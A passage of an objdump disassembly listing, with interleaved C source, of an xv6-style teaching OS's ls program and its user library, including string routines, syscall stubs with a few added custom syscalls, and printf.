*p++ = '/';
11f7: 89 85 a4 fd ff ff mov %eax,-0x25c(%ebp)
11fd: c6 01 2f movb $0x2f,(%ecx)
while(read(fd, &de, sizeof(de)) == sizeof(de)){
1200: 83 ec 04 sub $0x4,%esp
1203: 6a 10 push $0x10
1205: 57 push %edi
1206: 53 push %ebx
1207: e8 8e 03 00 00 call 159a <read>
120c: 83 c4 10 add $0x10,%esp
120f: 83 f8 10 cmp $0x10,%eax
1212: 0f 85 71 ff ff ff jne 1189 <ls+0x89>
if(de.inum == 0)
1218: 66 83 bd c4 fd ff ff cmpw $0x0,-0x23c(%ebp)
121f: 00
1220: 74 de je 1200 <ls+0x100>
continue;
memmove(p, de.name, DIRSIZ);
1222: 8d 85 c6 fd ff ff lea -0x23a(%ebp),%eax
1228: 83 ec 04 sub $0x4,%esp
122b: 6a 0e push $0xe
122d: 50 push %eax
122e: ff b5 a4 fd ff ff pushl -0x25c(%ebp)
1234: e8 17 03 00 00 call 1550 <memmove>
p[DIRSIZ] = 0;
1239: 8b 85 a8 fd ff ff mov -0x258(%ebp),%eax
123f: c6 40 0f 00 movb $0x0,0xf(%eax)
if(stat(buf, &st) < 0){
1243: 58 pop %eax
1244: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
124a: 5a pop %edx
124b: 56 push %esi
124c: 50 push %eax
124d: e8 6e 02 00 00 call 14c0 <stat>
1252: 83 c4 10 add $0x10,%esp
1255: 85 c0 test %eax,%eax
1257: 0f 88 c3 00 00 00 js 1320 <ls+0x220>
printf(1, "ls: cannot stat %s\n", buf);
continue;
}
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
125d: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx
1263: 0f bf 85 d4 fd ff ff movswl -0x22c(%ebp),%eax
126a: 83 ec 0c sub $0xc,%esp
126d: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx
1273: 89 8d ac fd ff ff mov %ecx,-0x254(%ebp)
1279: 8d 8d e8 fd ff ff lea -0x218(%ebp),%ecx
127f: 89 95 b0 fd ff ff mov %edx,-0x250(%ebp)
1285: 89 85 b4 fd ff ff mov %eax,-0x24c(%ebp)
128b: 51 push %ecx
128c: e8 cf fd ff ff call 1060 <fmtname>
1291: 5a pop %edx
1292: 8b 95 b0 fd ff ff mov -0x250(%ebp),%edx
1298: 59 pop %ecx
1299: 8b 8d ac fd ff ff mov -0x254(%ebp),%ecx
129f: 51 push %ecx
12a0: 52 push %edx
12a1: ff b5 b4 fd ff ff pushl -0x24c(%ebp)
12a7: 50 push %eax
12a8: 68 28 1a 00 00 push $0x1a28
12ad: 6a 01 push $0x1
12af: e8 2c 04 00 00 call 16e0 <printf>
12b4: 83 c4 20 add $0x20,%esp
12b7: e9 44 ff ff ff jmp 1200 <ls+0x100>
12bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
struct dirent de;
struct stat st;
if((fd = open(path, 0)) < 0){
printf(2, "ls: cannot open %s\n", path);
12c0: 83 ec 04 sub $0x4,%esp
12c3: 57 push %edi
12c4: 68 00 1a 00 00 push $0x1a00
12c9: 6a 02 push $0x2
12cb: e8 10 04 00 00 call 16e0 <printf>
return;
12d0: 83 c4 10 add $0x10,%esp
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
}
break;
}
close(fd);
}
12d3: 8d 65 f4 lea -0xc(%ebp),%esp
12d6: 5b pop %ebx
12d7: 5e pop %esi
12d8: 5f pop %edi
12d9: 5d pop %ebp
12da: c3 ret
12db: 90 nop
12dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
break;
case T_DIR:
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
printf(1, "ls: path too long\n");
12e0: 83 ec 08 sub $0x8,%esp
12e3: 68 35 1a 00 00 push $0x1a35
12e8: 6a 01 push $0x1
12ea: e8 f1 03 00 00 call 16e0 <printf>
break;
12ef: 83 c4 10 add $0x10,%esp
12f2: e9 92 fe ff ff jmp 1189 <ls+0x89>
12f7: 89 f6 mov %esi,%esi
12f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
printf(2, "ls: cannot open %s\n", path);
return;
}
if(fstat(fd, &st) < 0){
printf(2, "ls: cannot stat %s\n", path);
1300: 83 ec 04 sub $0x4,%esp
1303: 57 push %edi
1304: 68 14 1a 00 00 push $0x1a14
1309: 6a 02 push $0x2
130b: e8 d0 03 00 00 call 16e0 <printf>
close(fd);
1310: 89 1c 24 mov %ebx,(%esp)
1313: e8 92 02 00 00 call 15aa <close>
return;
1318: 83 c4 10 add $0x10,%esp
131b: e9 75 fe ff ff jmp 1195 <ls+0x95>
if(de.inum == 0)
continue;
memmove(p, de.name, DIRSIZ);
p[DIRSIZ] = 0;
if(stat(buf, &st) < 0){
printf(1, "ls: cannot stat %s\n", buf);
1320: 8d 85 e8 fd ff ff lea -0x218(%ebp),%eax
1326: 83 ec 04 sub $0x4,%esp
1329: 50 push %eax
132a: 68 14 1a 00 00 push $0x1a14
132f: 6a 01 push $0x1
1331: e8 aa 03 00 00 call 16e0 <printf>
continue;
1336: 83 c4 10 add $0x10,%esp
1339: e9 c2 fe ff ff jmp 1200 <ls+0x100>
133e: 66 90 xchg %ax,%ax
00001340 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1340: 55 push %ebp
1341: 89 e5 mov %esp,%ebp
1343: 53 push %ebx
1344: 8b 45 08 mov 0x8(%ebp),%eax
1347: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
134a: 89 c2 mov %eax,%edx
134c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1350: 83 c1 01 add $0x1,%ecx
1353: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
1357: 83 c2 01 add $0x1,%edx
135a: 84 db test %bl,%bl
135c: 88 5a ff mov %bl,-0x1(%edx)
135f: 75 ef jne 1350 <strcpy+0x10>
;
return os;
}
1361: 5b pop %ebx
1362: 5d pop %ebp
1363: c3 ret
1364: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
136a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00001370 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1370: 55 push %ebp
1371: 89 e5 mov %esp,%ebp
1373: 56 push %esi
1374: 53 push %ebx
1375: 8b 55 08 mov 0x8(%ebp),%edx
1378: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
137b: 0f b6 02 movzbl (%edx),%eax
137e: 0f b6 19 movzbl (%ecx),%ebx
1381: 84 c0 test %al,%al
1383: 75 1e jne 13a3 <strcmp+0x33>
1385: eb 29 jmp 13b0 <strcmp+0x40>
1387: 89 f6 mov %esi,%esi
1389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
1390: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1393: 0f b6 02 movzbl (%edx),%eax
p++, q++;
1396: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1399: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
139d: 84 c0 test %al,%al
139f: 74 0f je 13b0 <strcmp+0x40>
13a1: 89 f1 mov %esi,%ecx
13a3: 38 d8 cmp %bl,%al
13a5: 74 e9 je 1390 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
13a7: 29 d8 sub %ebx,%eax
}
13a9: 5b pop %ebx
13aa: 5e pop %esi
13ab: 5d pop %ebp
13ac: c3 ret
13ad: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
13b0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
13b2: 29 d8 sub %ebx,%eax
}
13b4: 5b pop %ebx
13b5: 5e pop %esi
13b6: 5d pop %ebp
13b7: c3 ret
13b8: 90 nop
13b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000013c0 <strlen>:
uint
strlen(char *s)
{
13c0: 55 push %ebp
13c1: 89 e5 mov %esp,%ebp
13c3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
13c6: 80 39 00 cmpb $0x0,(%ecx)
13c9: 74 12 je 13dd <strlen+0x1d>
13cb: 31 d2 xor %edx,%edx
13cd: 8d 76 00 lea 0x0(%esi),%esi
13d0: 83 c2 01 add $0x1,%edx
13d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
13d7: 89 d0 mov %edx,%eax
13d9: 75 f5 jne 13d0 <strlen+0x10>
;
return n;
}
13db: 5d pop %ebp
13dc: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
13dd: 31 c0 xor %eax,%eax
;
return n;
}
13df: 5d pop %ebp
13e0: c3 ret
13e1: eb 0d jmp 13f0 <memset>
13e3: 90 nop
13e4: 90 nop
13e5: 90 nop
13e6: 90 nop
13e7: 90 nop
13e8: 90 nop
13e9: 90 nop
13ea: 90 nop
13eb: 90 nop
13ec: 90 nop
13ed: 90 nop
13ee: 90 nop
13ef: 90 nop
000013f0 <memset>:
void*
memset(void *dst, int c, uint n)
{
13f0: 55 push %ebp
13f1: 89 e5 mov %esp,%ebp
13f3: 57 push %edi
13f4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
13f7: 8b 4d 10 mov 0x10(%ebp),%ecx
13fa: 8b 45 0c mov 0xc(%ebp),%eax
13fd: 89 d7 mov %edx,%edi
13ff: fc cld
1400: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
1402: 89 d0 mov %edx,%eax
1404: 5f pop %edi
1405: 5d pop %ebp
1406: c3 ret
1407: 89 f6 mov %esi,%esi
1409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001410 <strchr>:
char*
strchr(const char *s, char c)
{
1410: 55 push %ebp
1411: 89 e5 mov %esp,%ebp
1413: 53 push %ebx
1414: 8b 45 08 mov 0x8(%ebp),%eax
1417: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
141a: 0f b6 10 movzbl (%eax),%edx
141d: 84 d2 test %dl,%dl
141f: 74 1d je 143e <strchr+0x2e>
if(*s == c)
1421: 38 d3 cmp %dl,%bl
1423: 89 d9 mov %ebx,%ecx
1425: 75 0d jne 1434 <strchr+0x24>
1427: eb 17 jmp 1440 <strchr+0x30>
1429: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1430: 38 ca cmp %cl,%dl
1432: 74 0c je 1440 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1434: 83 c0 01 add $0x1,%eax
1437: 0f b6 10 movzbl (%eax),%edx
143a: 84 d2 test %dl,%dl
143c: 75 f2 jne 1430 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
143e: 31 c0 xor %eax,%eax
}
1440: 5b pop %ebx
1441: 5d pop %ebp
1442: c3 ret
1443: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1449: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001450 <gets>:
char*
gets(char *buf, int max)
{
1450: 55 push %ebp
1451: 89 e5 mov %esp,%ebp
1453: 57 push %edi
1454: 56 push %esi
1455: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
1456: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
1458: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
145b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
145e: eb 29 jmp 1489 <gets+0x39>
cc = read(0, &c, 1);
1460: 83 ec 04 sub $0x4,%esp
1463: 6a 01 push $0x1
1465: 57 push %edi
1466: 6a 00 push $0x0
1468: e8 2d 01 00 00 call 159a <read>
if(cc < 1)
146d: 83 c4 10 add $0x10,%esp
1470: 85 c0 test %eax,%eax
1472: 7e 1d jle 1491 <gets+0x41>
break;
buf[i++] = c;
1474: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1478: 8b 55 08 mov 0x8(%ebp),%edx
147b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
147d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
147f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
1483: 74 1b je 14a0 <gets+0x50>
1485: 3c 0d cmp $0xd,%al
1487: 74 17 je 14a0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1489: 8d 5e 01 lea 0x1(%esi),%ebx
148c: 3b 5d 0c cmp 0xc(%ebp),%ebx
148f: 7c cf jl 1460 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1491: 8b 45 08 mov 0x8(%ebp),%eax
1494: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
1498: 8d 65 f4 lea -0xc(%ebp),%esp
149b: 5b pop %ebx
149c: 5e pop %esi
149d: 5f pop %edi
149e: 5d pop %ebp
149f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
14a0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
14a3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
14a5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
14a9: 8d 65 f4 lea -0xc(%ebp),%esp
14ac: 5b pop %ebx
14ad: 5e pop %esi
14ae: 5f pop %edi
14af: 5d pop %ebp
14b0: c3 ret
14b1: eb 0d jmp 14c0 <stat>
14b3: 90 nop
14b4: 90 nop
14b5: 90 nop
14b6: 90 nop
14b7: 90 nop
14b8: 90 nop
14b9: 90 nop
14ba: 90 nop
14bb: 90 nop
14bc: 90 nop
14bd: 90 nop
14be: 90 nop
14bf: 90 nop
000014c0 <stat>:
int
stat(char *n, struct stat *st)
{
14c0: 55 push %ebp
14c1: 89 e5 mov %esp,%ebp
14c3: 56 push %esi
14c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
14c5: 83 ec 08 sub $0x8,%esp
14c8: 6a 00 push $0x0
14ca: ff 75 08 pushl 0x8(%ebp)
14cd: e8 f0 00 00 00 call 15c2 <open>
if(fd < 0)
14d2: 83 c4 10 add $0x10,%esp
14d5: 85 c0 test %eax,%eax
14d7: 78 27 js 1500 <stat+0x40>
return -1;
r = fstat(fd, st);
14d9: 83 ec 08 sub $0x8,%esp
14dc: ff 75 0c pushl 0xc(%ebp)
14df: 89 c3 mov %eax,%ebx
14e1: 50 push %eax
14e2: e8 f3 00 00 00 call 15da <fstat>
14e7: 89 c6 mov %eax,%esi
close(fd);
14e9: 89 1c 24 mov %ebx,(%esp)
14ec: e8 b9 00 00 00 call 15aa <close>
return r;
14f1: 83 c4 10 add $0x10,%esp
14f4: 89 f0 mov %esi,%eax
}
14f6: 8d 65 f8 lea -0x8(%ebp),%esp
14f9: 5b pop %ebx
14fa: 5e pop %esi
14fb: 5d pop %ebp
14fc: c3 ret
14fd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
1500: b8 ff ff ff ff mov $0xffffffff,%eax
1505: eb ef jmp 14f6 <stat+0x36>
1507: 89 f6 mov %esi,%esi
1509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001510 <atoi>:
return r;
}
int
atoi(const char *s)
{
1510: 55 push %ebp
1511: 89 e5 mov %esp,%ebp
1513: 53 push %ebx
1514: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
1517: 0f be 11 movsbl (%ecx),%edx
151a: 8d 42 d0 lea -0x30(%edx),%eax
151d: 3c 09 cmp $0x9,%al
151f: b8 00 00 00 00 mov $0x0,%eax
1524: 77 1f ja 1545 <atoi+0x35>
1526: 8d 76 00 lea 0x0(%esi),%esi
1529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
1530: 8d 04 80 lea (%eax,%eax,4),%eax
1533: 83 c1 01 add $0x1,%ecx
1536: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
153a: 0f be 11 movsbl (%ecx),%edx
153d: 8d 5a d0 lea -0x30(%edx),%ebx
1540: 80 fb 09 cmp $0x9,%bl
1543: 76 eb jbe 1530 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
1545: 5b pop %ebx
1546: 5d pop %ebp
1547: c3 ret
1548: 90 nop
1549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00001550 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
1550: 55 push %ebp
1551: 89 e5 mov %esp,%ebp
1553: 56 push %esi
1554: 53 push %ebx
1555: 8b 5d 10 mov 0x10(%ebp),%ebx
1558: 8b 45 08 mov 0x8(%ebp),%eax
155b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
155e: 85 db test %ebx,%ebx
1560: 7e 14 jle 1576 <memmove+0x26>
1562: 31 d2 xor %edx,%edx
1564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
1568: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
156c: 88 0c 10 mov %cl,(%eax,%edx,1)
156f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
1572: 39 da cmp %ebx,%edx
1574: 75 f2 jne 1568 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
1576: 5b pop %ebx
1577: 5e pop %esi
1578: 5d pop %ebp
1579: c3 ret
0000157a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
157a: b8 01 00 00 00 mov $0x1,%eax
157f: cd 40 int $0x40
1581: c3 ret
00001582 <exit>:
SYSCALL(exit)
1582: b8 02 00 00 00 mov $0x2,%eax
1587: cd 40 int $0x40
1589: c3 ret
0000158a <wait>:
SYSCALL(wait)
158a: b8 03 00 00 00 mov $0x3,%eax
158f: cd 40 int $0x40
1591: c3 ret
00001592 <pipe>:
SYSCALL(pipe)
1592: b8 04 00 00 00 mov $0x4,%eax
1597: cd 40 int $0x40
1599: c3 ret
0000159a <read>:
SYSCALL(read)
159a: b8 05 00 00 00 mov $0x5,%eax
159f: cd 40 int $0x40
15a1: c3 ret
000015a2 <write>:
SYSCALL(write)
15a2: b8 10 00 00 00 mov $0x10,%eax
15a7: cd 40 int $0x40
15a9: c3 ret
000015aa <close>:
SYSCALL(close)
15aa: b8 15 00 00 00 mov $0x15,%eax
15af: cd 40 int $0x40
15b1: c3 ret
000015b2 <kill>:
SYSCALL(kill)
15b2: b8 06 00 00 00 mov $0x6,%eax
15b7: cd 40 int $0x40
15b9: c3 ret
000015ba <exec>:
SYSCALL(exec)
15ba: b8 07 00 00 00 mov $0x7,%eax
15bf: cd 40 int $0x40
15c1: c3 ret
000015c2 <open>:
SYSCALL(open)
15c2: b8 0f 00 00 00 mov $0xf,%eax
15c7: cd 40 int $0x40
15c9: c3 ret
000015ca <mknod>:
SYSCALL(mknod)
15ca: b8 11 00 00 00 mov $0x11,%eax
15cf: cd 40 int $0x40
15d1: c3 ret
000015d2 <unlink>:
SYSCALL(unlink)
15d2: b8 12 00 00 00 mov $0x12,%eax
15d7: cd 40 int $0x40
15d9: c3 ret
000015da <fstat>:
SYSCALL(fstat)
15da: b8 08 00 00 00 mov $0x8,%eax
15df: cd 40 int $0x40
15e1: c3 ret
000015e2 <link>:
SYSCALL(link)
15e2: b8 13 00 00 00 mov $0x13,%eax
15e7: cd 40 int $0x40
15e9: c3 ret
000015ea <mkdir>:
SYSCALL(mkdir)
15ea: b8 14 00 00 00 mov $0x14,%eax
15ef: cd 40 int $0x40
15f1: c3 ret
000015f2 <chdir>:
SYSCALL(chdir)
15f2: b8 09 00 00 00 mov $0x9,%eax
15f7: cd 40 int $0x40
15f9: c3 ret
000015fa <dup>:
SYSCALL(dup)
15fa: b8 0a 00 00 00 mov $0xa,%eax
15ff: cd 40 int $0x40
1601: c3 ret
00001602 <getpid>:
SYSCALL(getpid)
1602: b8 0b 00 00 00 mov $0xb,%eax
1607: cd 40 int $0x40
1609: c3 ret
0000160a <sbrk>:
SYSCALL(sbrk)
160a: b8 0c 00 00 00 mov $0xc,%eax
160f: cd 40 int $0x40
1611: c3 ret
00001612 <sleep>:
SYSCALL(sleep)
1612: b8 0d 00 00 00 mov $0xd,%eax
1617: cd 40 int $0x40
1619: c3 ret
0000161a <uptime>:
SYSCALL(uptime)
161a: b8 0e 00 00 00 mov $0xe,%eax
161f: cd 40 int $0x40
1621: c3 ret
00001622 <getcount>:
SYSCALL(getcount) //added getcount here
1622: b8 16 00 00 00 mov $0x16,%eax
1627: cd 40 int $0x40
1629: c3 ret
0000162a <getprocessinfo>:
SYSCALL(getprocessinfo) //printing all process info
162a: b8 17 00 00 00 mov $0x17,%eax
162f: cd 40 int $0x40
1631: c3 ret
00001632 <increasepriority>:
SYSCALL(increasepriority)
1632: b8 18 00 00 00 mov $0x18,%eax
1637: cd 40 int $0x40
1639: c3 ret
163a: 66 90 xchg %ax,%ax
163c: 66 90 xchg %ax,%ax
163e: 66 90 xchg %ax,%ax
00001640 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
1640: 55 push %ebp
1641: 89 e5 mov %esp,%ebp
1643: 57 push %edi
1644: 56 push %esi
1645: 53 push %ebx
1646: 89 c6 mov %eax,%esi
1648: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
164b: 8b 5d 08 mov 0x8(%ebp),%ebx
164e: 85 db test %ebx,%ebx
1650: 74 7e je 16d0 <printint+0x90>
1652: 89 d0 mov %edx,%eax
1654: c1 e8 1f shr $0x1f,%eax
1657: 84 c0 test %al,%al
1659: 74 75 je 16d0 <printint+0x90>
neg = 1;
x = -xx;
165b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
165d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
1664: f7 d8 neg %eax
1666: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
1669: 31 ff xor %edi,%edi
166b: 8d 5d d7 lea -0x29(%ebp),%ebx
166e: 89 ce mov %ecx,%esi
1670: eb 08 jmp 167a <printint+0x3a>
1672: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
1678: 89 cf mov %ecx,%edi
167a: 31 d2 xor %edx,%edx
167c: 8d 4f 01 lea 0x1(%edi),%ecx
167f: f7 f6 div %esi
1681: 0f b6 92 54 1a 00 00 movzbl 0x1a54(%edx),%edx
}while((x /= base) != 0);
1688: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
168a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
168d: 75 e9 jne 1678 <printint+0x38>
if(neg)
168f: 8b 45 c4 mov -0x3c(%ebp),%eax
1692: 8b 75 c0 mov -0x40(%ebp),%esi
1695: 85 c0 test %eax,%eax
1697: 74 08 je 16a1 <printint+0x61>
buf[i++] = '-';
1699: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
169e: 8d 4f 02 lea 0x2(%edi),%ecx
16a1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
16a5: 8d 76 00 lea 0x0(%esi),%esi
16a8: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
16ab: 83 ec 04 sub $0x4,%esp
16ae: 83 ef 01 sub $0x1,%edi
16b1: 6a 01 push $0x1
16b3: 53 push %ebx
16b4: 56 push %esi
16b5: 88 45 d7 mov %al,-0x29(%ebp)
16b8: e8 e5 fe ff ff call 15a2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
16bd: 83 c4 10 add $0x10,%esp
16c0: 39 df cmp %ebx,%edi
16c2: 75 e4 jne 16a8 <printint+0x68>
putc(fd, buf[i]);
}
16c4: 8d 65 f4 lea -0xc(%ebp),%esp
16c7: 5b pop %ebx
16c8: 5e pop %esi
16c9: 5f pop %edi
16ca: 5d pop %ebp
16cb: c3 ret
16cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
16d0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
16d2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
16d9: eb 8b jmp 1666 <printint+0x26>
16db: 90 nop
16dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000016e0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
16e0: 55 push %ebp
16e1: 89 e5 mov %esp,%ebp
16e3: 57 push %edi
16e4: 56 push %esi
16e5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
16e6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
16e9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
16ec: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
16ef: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
16f2: 89 45 d0 mov %eax,-0x30(%ebp)
16f5: 0f b6 1e movzbl (%esi),%ebx
16f8: 83 c6 01 add $0x1,%esi
16fb: 84 db test %bl,%bl
16fd: 0f 84 b0 00 00 00 je 17b3 <printf+0xd3>
1703: 31 d2 xor %edx,%edx
1705: eb 39 jmp 1740 <printf+0x60>
1707: 89 f6 mov %esi,%esi
1709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
1710: 83 f8 25 cmp $0x25,%eax
1713: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
1716: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
171b: 74 18 je 1735 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
171d: 8d 45 e2 lea -0x1e(%ebp),%eax
1720: 83 ec 04 sub $0x4,%esp
1723: 88 5d e2 mov %bl,-0x1e(%ebp)
1726: 6a 01 push $0x1
1728: 50 push %eax
1729: 57 push %edi
172a: e8 73 fe ff ff call 15a2 <write>
172f: 8b 55 d4 mov -0x2c(%ebp),%edx
1732: 83 c4 10 add $0x10,%esp
1735: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
1738: 0f b6 5e ff movzbl -0x1(%esi),%ebx
173c: 84 db test %bl,%bl
173e: 74 73 je 17b3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
1740: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
1742: 0f be cb movsbl %bl,%ecx
1745: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
1748: 74 c6 je 1710 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
174a: 83 fa 25 cmp $0x25,%edx
174d: 75 e6 jne 1735 <printf+0x55>
if(c == 'd'){
174f: 83 f8 64 cmp $0x64,%eax
1752: 0f 84 f8 00 00 00 je 1850 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
1758: 81 e1 f7 00 00 00 and $0xf7,%ecx
175e: 83 f9 70 cmp $0x70,%ecx
1761: 74 5d je 17c0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
1763: 83 f8 73 cmp $0x73,%eax
1766: 0f 84 84 00 00 00 je 17f0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
176c: 83 f8 63 cmp $0x63,%eax
176f: 0f 84 ea 00 00 00 je 185f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
